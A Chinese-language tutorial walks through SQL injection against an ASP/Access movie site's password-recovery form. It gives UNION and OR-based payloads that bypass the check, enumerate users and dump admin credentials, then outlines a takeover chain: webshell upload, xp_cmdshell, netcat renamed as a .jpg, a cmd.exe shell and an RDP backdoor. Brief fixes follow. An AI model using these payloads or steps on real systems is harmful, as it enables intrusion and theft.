首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> Oracle 資料庫 >> Oracle 資料庫基礎

SQL 注入實戰:UNION 查詢繞過認證竊取電影站管理員權限

     編輯:Oracle 資料庫基礎

案例背景

某開源電影管理系統(ASP + Access)存在「找回密碼」功能,介面要求輸入:用戶名、密碼提示問題、密碼提示答案。原始碼未做任何過濾直接拼接 SQL:

sql = "SELECT PassWord FROM Users WHERE UserID='" & Request("myuserid") & 
      "' AND City='" & Request("ask") & "' AND Adress='" & Request("answer") & "'"

漏洞分析:三參數聯合查詢的注入面

SQL 結構:

SELECT PassWord FROM Users WHERE UserID='[輸入1]' AND City='[輸入2]' AND Adress='[輸入3]'

Access 不支援批次查詢、不支援註釋(--),但支援 UNION 聯合查詢,成為突破口。

攻擊路徑一:已知用戶名繞過驗證

假設已知用戶 abc 存在:

欄位輸入值說明
用戶名abc' OR '1=1導致 WHERE 條件恆真
提示問題a任意字元
提示答案a任意字元

實際執行:

SELECT PassWord FROM Users WHERE UserID='abc' OR '1=1' AND City='a' AND Adress='a'

OR '1=1 使條件恆真,直接返回該用戶密碼(明文儲存)。

攻擊路徑二:未知用戶名時枚舉用戶帳號

利用 UNION 注入第二個查詢:

欄位輸入值
用戶名a
提示問題a
提示答案a' UNION SELECT UserID FROM Users WHERE OkLook>=3 OR '0

生成 SQL:

SELECT PassWord FROM Users WHERE UserID='a' AND City='a' AND Adress='a' UNION SELECT UserID FROM Users WHERE OkLook>=3 OR '0'

第一查詢無結果,第二查詢返回符合條件的用戶名(如 VIP 用戶)。再結合路徑一逐個嘗試獲取密碼。

攻擊路徑三:直擊管理員帳號(跨表注入)

若知曉管理員表結構(如 OkWiAntGo 表含 Name, Pwd 欄位):

-- 獲取管理員帳號
Adress: a' UNION SELECT Name FROM OkWiAntGo WHERE ID>=1 OR '0

-- 獲取管理員密碼
Adress: a' UNION SELECT Pwd FROM OkWiAntGo WHERE ID>=1 OR '0

取得帳密後,直接訪問後台登入頁:

https://site/findaccount.asp?name=admin&pwd=stolen_password

實戰滲透延伸:從後台到伺服器控制權

  1. 後台上傳功能未限制副檔名 → 上傳 shell.asp Webshell
  2. 系統用 SQL Server,透過 Webshell 讀取配置檔獲取 sa 密碼
  3. SQLExec 連接資料庫 → xp_cmdshell 執行命令
  4. TFTP 下載 nc.exe(防火牆攔截 .exe → 改名 nc.jpg 繞過)
  5. 反彈 Shell:nc.jpg -l -p 99 -e cmd.exe → 本地 nc -vv target 99 獲取 SYSTEM 權限
  6. 建立管理員帳號並開啟 3389 遠端桌面 → 完全控制伺服器

修補建議

  • 參數化查詢:徹底杜絕拼接 SQL
  • 嚴格驗證三個參數:長度、字元集、格式
  • 密碼找回機制改為郵件重設連結:不直接顯示密碼
  • 上傳目錄禁用腳本執行權限、白名單副檔名
  • 資料庫帳號最小權限、禁用 xp_cmdshell

總結

單一注入點配合 UNION 查詢,可逐層剝離:繞過驗證 → 枚舉用戶 → 竊取管理員 → 後台上傳 → 伺服器淪陷。開發者須認清:任何未經參數化的動態 SQL 都是潛在毀滅性漏洞。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved